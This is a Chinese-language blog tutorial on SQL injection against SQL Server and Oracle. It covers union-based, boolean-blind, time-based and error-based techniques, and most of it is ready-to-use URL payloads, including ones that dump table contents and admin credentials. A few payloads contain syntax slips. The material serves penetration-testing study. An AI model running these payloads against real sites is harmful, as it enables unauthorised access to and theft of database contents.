SQL注入(三)--SQL server和Oracle注入

本文最后更新于:2 年前

SQL server和Oracle数据库注入

简介

ms SQL是指微软的SQL Server数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。

Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是目前世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。

注意:SQL server的最高权限是sa,Oracle的最高权限是dba。扩展:Windows的最高权限是system(不是admin!),Linux的最高权限是root。

注入方式

SQL server

联合查询注入

1.老规矩,先判断是否存在注入点。

2.用order by猜列数,注意联合查询不会显示重复内容,所以有时要在union后面加all。

3.联合查询找回显位,注意这里有些不一样,因为SQL server需要指定数据类型,所以判断时需要加单引号。例如:?id=1' union select null,'null',null #假设有三列,这里猜测第二个为回显位,则用单引号包围第二个null。如果网页回显null,则说明第二个是回显位。多个回显位以此类推。

4.爆库

例如:?id=1' union select null,(select db_name),null #

5.爆表

例如:?id=1' union select null,(select top 1 字段名 from 库名.dbo.sysobjects where xtype='u',null #

其中sysobjects是SQL server独有表,u代表用户创建的表。

6.爆字段

例如:?id=1' union select null,(select top 1 col_name(object_id('表名'),n) from sysobjects,null #

其中n代表第几列,一般第一列是id。

7.爆值

例如:?id=1' union select null,(select top 1 字段名 from 表名),null #

扩展:

查看当前数据库版本:?id=1' union select null,(select @@version),null #

布尔盲注

时间盲注

报错注入

其它方式

sqlmap一把梭,或者超级SQL注入工具。

Oracle

联合查询注入

1.老规矩,先判断是否存在注入点。

2.用order by猜列数,注意联合查询不会显示重复内容,所以有时要在union后面加all。

3.联合查询找回显位,注意这里有些不一样,虽然Oracle也需要指定数据类型,判断方法与SQL server相同,但是Oracle规定每次查询时必须跟随表名。例如:?id=1' union select null,'null',null from dual#

其中dual是Oracle独有表。

4.爆库

例如:?id=1' union select null,(select instance_name from V$INSTANCE),null from dual #

5.爆表

例如:?id=1' union select null,(select table_name from user_tables where rownum=1 and like '%关键词%'),null from dual #

注意要加rownum=1,因为Oracle每次只能显示一条数据。关键词可能是user,admin之类的敏感词。

6.爆字段

例如:?id=1' union select null,(select column_name from user_tab_columns where rownum=1 and table_name='表名'),null from dual #

1
?id=1' union select null,(select column_name from user_tab_columns where rownum=1 and table_name='表名' and column_name not in ('字段名1','字段名2',...,'字段名n')),null from dual #

7.爆值

例如:?id=1' union select null,(select 字段名1,字段名2,...,字段名n from "表名"),null from dual #

注意实际表名要加双引号。

扩展:

查看当前数据库版本:?id=1' union select null,(select banner from sys.v_$version where rownum=1),null from dual #

布尔盲注

0x01 利用decode函数盲注

1
decode(字段或字段的运算,值1,值2,值3

这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3。

当然值1,值2,值3也可以是表达式,这个函数使得某些sql语句简单了许多。

使用方法:

比较大小:select decode(sign(变量1-变量2),-1,变量1,变量2) from dual; --取较小值

其中sign()函数根据某个值是0、正数还是负数,分别返回0、1、-1。

所以在注入中的应用如下:

判断当前用户: ?username=SMITH' and 1=(select decode(user,'SCOTT',1,0) from dual) --

如果是SCOTT用户则返回1,不是则返回0.

当然也可以用字符逐个猜解,利用到substr()函数

1
?username=SMITH' and 1=(select decode(substr(user,1,1),'S',1,0) from dual) --

获取当前用户

1
(select user from dual)

获取当前版本

1
(select banner from sys.v_$version where rownum=1)

获取当前admin表的帐号和密码

1
(select username||password from admin)

获取字符长度

1
select length(user) from dual --

把上述语句替换开头的user即可。

例如,逐个猜解用户名:

1
2
3
4
5
6
7
8
9
(select decode(substr(user,2,1),'Y',1,0) from dual) --

(select decode(substr(user,3,1),'S',1,0) from dual) --

(select decode(substr(user,4,1),'T',1,0) from dual) --

(select decode(substr(user,5,1),'E',1,0) from dual) --

(select decode(substr(user,6,1),'N',1,0) from dual) --

可以辅助burpsuite半自动注入。

0x02 利用instr函数盲注

instr函数可以从一个字符串中查找指定子串的位置。例如:

1
select instr('abcdefgh','de') position from dual

返回结果是4,因为从1开始算,d排第四所以返回4。

在注入中的应用: ?id=1 and 1=(instr((select user from dual),'SYS')) --

0x03 逐字猜解(和以前一样,这里不再赘述)

时间盲注

Oracle的时间盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一种便是decode()与高耗时SQL操作的组合,当然也可以是case,if 等方式与高耗时操作的组合,这里的高耗时操作指的是,例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。

0x01 利用DBMS_PIPE.RECEIVE_MESSAGE函数盲注

DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制。

首先,不能直接将该函数注入子查询中,因为Oracle不支持堆叠查询(stacked query)。其次,只有数据库管理员才能使用DBMS_LOCK包。

在Oracle PL/SQL中有一种更好的办法,可以使用下面的指令以内联方式注入延迟:dbms_pipe.receive_message('RDS', 10)

DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包。DBMS_LOCK.SLEEP()与之相反,它是一个可以用在SQL语句中的函数。

在注入中的应用:

1
2
?id=-1 or 1= dbms_pipe.receive_message('RDS', 10)--
?id=1 and 1=dbms_pipe.receive_message('RDS', 10)--

如果页面延时10秒返回,即存在注入。这里可以暂时理解成DBMS_PIPE.RECEIVE_MESSAGE(‘任意值’,延迟时间)。

0x02 利用decode函数盲注

decode不仅可以在布尔盲注中运用,也可以用在延迟盲注中。

在decode注入里加入延时语句。这里加入了我们的dbms_pipe.receive_message函数。

例如:?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual) --

当然,这里延迟的操作不一定用延迟函数,也可以使用花费更多时间去查询所有数据库的条目。

例如:?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1'

通过这种明显时间差也能判断注入表达式的结果。

报错注入

使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符这样的方式进行报错注入(MYSQL仅使用函数报错即可),类似mssql报错注入的方式。

utl_inaddr.get_host_name()进行报错注入

utl_inaddr.get_host_address 本意是获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。

我们传递的是一个sql 语句所以返回的就是语句执行的结果。oracle 在启动之后,把一些系统变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。

例如,爆出当前用户: ?id=1 and 1=utl_inaddr.get_host_name((select user from dual))--

ctxsys.drithsx.sn()进行报错注入

1
?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --

XMLType()进行报错注入

1
?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --

dbms_xdb_version.checkin()进行报错注入

1
?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --

bms_xdb_version.makeversioned()进报错注入

1
?id=1 and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --

dbms_xdb_version.uncheckout()进行报错注入

1
?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --

dbms_utility.sqlid_to_sqlhash()进行报错注入

1
?id=1 and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --

ordsys.ord_dicom.getmappingxpath()进行报错注入

1
?id=1 and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--

decode()进行报错注入

这种方式更偏向布尔盲注,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。

其它方式

sqlmap一把梭,或者超级SQL注入工具。如果遇到waf拦截,则需要修改sqlmap的脚本。

总结

脚本小子yyds!


SQL注入(三)--SQL server和Oracle注入
https://rookieterry.github.io/2021/09/21/SQL注入(三)-SQL-server和Oracle注入/
作者
HackerTerry
发布于
星期二, 九月 21日 2021, 5:54 下午
许可协议